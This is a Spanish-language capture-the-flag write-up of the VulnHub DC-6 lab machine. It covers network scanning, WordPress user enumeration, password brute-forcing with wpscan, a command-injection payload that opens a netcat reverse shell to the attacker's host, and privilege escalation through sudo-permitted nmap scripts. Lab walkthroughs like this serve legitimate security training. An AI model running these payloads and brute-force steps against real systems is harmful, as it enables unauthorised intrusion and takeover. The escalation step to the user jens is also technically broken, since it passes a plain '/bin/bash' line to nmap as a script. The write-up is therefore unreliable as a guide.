VulnHub DC-6: Vulnerabilidad en WordPress con Técnicas de Escalada de Privilegios

Preparación del Entorno de Laboratorio

Importación de la Máquina Virtual

En el panel deVmware procedemos a seleccionar la opción de importar una máquina virtual existente. Es importante señalar que en algunos casos puede aparecer un mensaje de incompatibilidad relacionado con el archivo de configuración .vmx. Este problema se resuelve editando manualmente dicho archivo y ajustando la versión del producto VMware para que coincida con la instalada en el sistema.

Fase de Reconocimiento

Descubrimiento de Activos de Red

Comenzamos realizando un escaneo de la red local para identificar la dirección IP asignada a la máquina objetivo:

nmap -sn 192.168.108.0/24

Análisis de Puertos Abiertos

Una vez identificada la dirección IP, procedemos a escanear los puertos disponibles:

nmap -p- 192.168.108.142 -T4

El resultado revela dos servicios activos:

22/tcp open  ssh
80/tcp open  http

Enumeración de Servicios

Obtenemos información detallada sobre las versiones de los servicios detectados:

nmap 192.168.108.142 -p 22,80 -sV -sC -O --version-all

Servicios identificados:

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6
80/tcp open  http    Apache httpd 2.4.25

Detección del Sistema Operativo

El escaneo de fingerprints del sistema operativo indica:

OS details: Linux 3.2 - 4.9
CPE: cpe:/o:linux:linux_kernel:3

Exploración de Directorios Web

Utilizando herramientas de fuzzing para directorios ottenemos:

dirb http://192.168.108.142 /usr/share/wordlists/common.txt

Continuamos con dirsearch para mayor cobertura:

dirsearch -u http://192.168.108.142 -e php,html,txt

Directorios significativos descubiertos:

http://192.168.108.142/index.php
http://192.168.108.142/readme.html
http://192.168.108.142/license.txt
http://192.168.108.142/wp-login.php
http://192.168.108.142/wp-admin/
http://192.168.108.142/wp-content/
http://192.168.108.142/wp-includes/

Explotación del Servicio Web

Configuración de Resolución de Nombres

Al intentar acceder desde el navegador, la página no carga correctamente. Esto se debe a que el sitio utiliza hosts virtuales basados en nombres. Procedemos a configurar el archivo hosts del sistema.

Accedemos al archivo deHosts en Windows:

C:\Windows\System32\drivers\etc\hosts

Añadimos la siguiente entrada:

192.168.108.142 wordy

Es necesario limpiar la caché del navegador antes de probar nuevamente.

Identificación del CMS

El análisis de las rutas descubierto revela que el sitio web está construido sobre WordPress. El panel de acceso se encuentra en wp-login.php.

Enumeración de Usuarios

Primero verificamos la existencia del usuario admin mediante intentos de login básico. Posteriormente, utilizamos wpscan para una enumeración más exhaustiva:

wpscan --url http://wordy --enumerate u

Usuarios identificados:

admin
mark
graham
sarah
jens

Fuerza Bruta contra WordPress

Según las indicaciones del creador del desafío, existe una palabra clave específica que filter la lista de contraseñas. Extraemos las contraesñas relevantes:

grep k01 /usr/share/wordlists/rockyou.txt > passwords.txt

Ejecutamos el ataque de fuerza bruta:

wpscan --url http://wordy -U usuarios.txt -P passwords.txt

Credenciales válidas descubiertas:

Usuario: mark
Contraseña: helpdesk01

Obtención de Acceso al Sistema

Shell Inversa

Dentro del panel de administración, localizamos un formulario que permite realizar consultas DNS. Al probar la inyección de comandos, verificamos que el parámetro es vulnerable.

El campo de entrada tiene restricciones de longitud. Modificamos el atributo maxlnegth mediante las herramientas de desarrollo del navegador o interceptando la petición con Burp Suite.

Configuramos un listener en nuestra máquina:

nc -lvnp 4444

Enviamos la payload maliciosa:

192.168.108.142; nc 192.168.108.128 4444 -e /bin/bash

Obtenemos conexión entrante. Mejoramos la shell para interacción completa:

python3 -c "import pty; pty.spawn('/bin/bash')"

Escalada de Privilegios

Exploración del Sistema de Archivos

Examinamos los directorioshome para encontrar información relevante:

ls -la /home/

Encontramos directorios correspondientes a los usuarios enumerated anteriormente. Accedemos al directorio de mark:

cd /home/mark

Dentro localizamos un subdirectorio llamado stuff. Su contenido revela:

Notas de trabajo:
graham tiene acceso con password: GSo7isUM1D4

Acceso como Usuario Graham

Conectamos mediante SSH utilizando las credenciales obtenidas:

ssh graham@192.168.108.142

Verificamos los permisos sudo disponibles:

sudo -l

Output indica que podemos ejecutar nmap como el usuario jens sin proporcionar contraseña.

Escalada a Usuario Jens

Escribimos un script que ejecute una shell:

echo '/bin/bash' > /tmp/privesc.sh
sudo -u jens nmap --script=/tmp/privesc.sh

Escalada a Root

Una vez como jens, verificamos nuevamente los permisos sudo:

sudo -l

Se permite ejecutar nmap como root sin contraseña. Procedemos con la escalada final:

echo "os.execute('/bin/bash')" > /tmp/root.sh
sudo nmap --script=/tmp/root.sh

Verificamos nuestro nuevo contexto:

whoami
root

La máquina ha sido comprometida completamente.

Etiquetas: penetration-testing VulnHub wordpress wpscan privilege-escalation

Publicado el 7-18 11:54